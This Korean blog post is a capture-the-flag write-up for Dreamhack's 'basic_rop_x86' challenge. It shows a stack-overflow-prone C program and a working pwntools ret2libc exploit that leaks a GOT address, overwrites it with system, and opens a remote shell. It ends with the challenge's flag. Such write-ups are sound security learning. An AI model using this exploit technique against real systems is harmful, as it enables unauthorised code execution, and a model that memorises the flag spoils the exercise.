[dreamhack][writeup] System-stage7 : basic_rop_x86

mj·2023년 5월 21일
0
post-thumbnail

1. 파일 확인

소스 코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

보호 기법 확인

카나리가 없다. buf 와 ebp 주소 사이 바이트 수만 구하면 될 것 같다.

2. 필요 정보

buf와 ebp 주소 사이 바이트 수

3. 필요 정보 수집

read 함수에서 buf 가 두번째 인자로 들어가고 있다.
read 함수 호출 직전에 esp-4 에 들어있는 값이 무엇인지 확인해보자

esp-4 에는 ebp-0x44 주소가 들어간다.

  • buf 주소 : ebp-0x44

4. exploit 코드 작성

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

#p = process("./basic_rop_x86")
p = remote("host3.dreamhack.games", 15035)
e = ELF("./basic_rop_x86")
lib = ELF("./libc.so.6")
rop = ROP(e)

read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]

rop.raw(b"A"*0x48)
rop.write(1, read_got, 4)
rop.read(0, read_got, 12)
rop.call(read_plt, [read_got+4])

payload = rop.chain()
p.send(payload)
p.recvn(0x40)

read_lib = u32(p.recvn(4))
lib_base = read_lib - lib.symbols["read"]
system_lib = lib_base + lib.symbols["system"]

slog("read_lib", read_lib)
slog("lib_base", lib_base)
slog("system_lib", system_lib)

p.send(p32(system_lib) + b"/bin/sh\n")

p.interactive()

5. 공격

  • flag : DH{ff3976e1fcdb03267e8d1451e56b90a5}
profile
사는게 쉽지가 않네요

0개의 댓글